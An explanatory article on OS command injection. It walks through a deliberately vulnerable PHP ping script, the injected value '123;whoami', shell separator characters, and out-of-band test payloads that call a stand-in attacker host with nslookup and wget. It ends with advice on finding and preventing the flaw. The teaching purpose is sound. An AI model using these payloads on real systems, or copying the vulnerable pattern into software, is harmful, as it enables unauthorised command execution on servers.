Command injection is a type of vulnerability that enables an adversary to execute arbitrary OS commands on the server through susceptible applications. These vulnerable applications begin to pass unsafe data, such as HTTP headers, forms, and cookies, supplied by the user to a system shell.
These attacks are possible usually because of insufficient input validation. An OS command injection can be prevented if proper measures are taken at the application design and development stages.
How it works?
The vulnerability can be discovered during code review. Check whether there are any command execution methods called and whether a non-validated user input is taken as data for those commands.
Let’s suppose we have the vuln.com
website and the /ping.php
script:
<?php
$ip=$_GET['ip'];
shell_exec('ping - c 4'.$ip);
?>
The script call the ping
utility tool that sends requests to an IP address that is passed to the script as an argument. Following the ping request, the script returns command output to the screen.
Example of a call for the script with an argument ip=8.8.8.8
:
vuln.com/ping.php?ip=8.8.8.8
The result of the command:
ping -c 4 8.8.8.8
However, if the user passes the 123;whoami
value as an argument, the formed command will be like this:
ping -c 4 123;whoami
In this case, the ping -c 4 123
command will be executed first, and whoami
– second.
There are different special characters that help splitting the command:
- cmd1|cmd2 : command 2 will be executed depending on the successfulness of the command 1 execution; command 1 output will be passed to command 2
- cmd1;cmd2 : command 2 will be executed regardless of the successfulness of command 1 execution
- cmd1||cmd2 : command 2 will be executed only if command 1 is not executed
- cmd1&&cmd2 : command 2 will be executed only if command 1 is successfully executed
How to find it?
The results of an injection may not be present in the server response. There are 3 basic situations:
- The result is in the server response.
- The result is not in the response, but we can tell if the injection was executed using indirect evidence right away.
- The result is not in the response, but we can tell if the injection was executed using indirect evidence after some time.
When you see the server response, you can use the commands id
,whoami
, and hostname
.
Blind injection
The result of command execution is not always displayed at the page (blind injection). In this case, there are only indirect signs a command was executed (sleep
, request to (our) external resource, etc.). One way or another, sleep
, ping
, and other commands that would take time for their execution, which can be traced.
Out-of-band
In some cases, we cannot use response delay to see if our command was executed. Thus, you have to make the vulnerable server perform a certain action. For example, make a DNS request with a specific host or initiate a request from the vulnerable host to our host.
Example
& nslookup askldh1892gpx0zxcnlkasd.attacker.com &
- a DNS request with a specific name which can be traced by the attacker;& wget 10.0.2.10:8192 &
- an HTTP request to the attacker’s host which can also be traced.
Search in the source code
If you have access to the application’s source code, you can look for specific functions and classes responsible for command execution.
PHP:system, shell_exec, exec, proc_open, popen, eval, passthru
NodeJS:spawn, forc, exec, eval
Java:ProcessBuilder,Runtime.exec
C#:ProcessStartInfo,ParameterizedThreadStart,Process.Start,Exec
Common functions responsible for command execution also have predictable names. So, if you are faced with a programming language you do not know, you can search by words like exec
, system
, or command
.
Example
Here’s a video sample of finding and explotation of RCE.
Fixes and prevention
All data passed to the user and sent for execution must be validated (must not hold any special characters). URLs and data in forms should be sanitized from unacceptable characters.
List of characters to be filtered:
< > & * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , `
To form a command to which user output will be passed, it is necessary to use special functions. In any programming language or framework, there are built-in APIs that not only address the issue but also are far safer. For example, ProcessBuilder (Java).
A web application and its components should follow the principle of least privilege. In case of a vulnerability being exploited, this will make it much more difficult for the adversary to get access to critical data.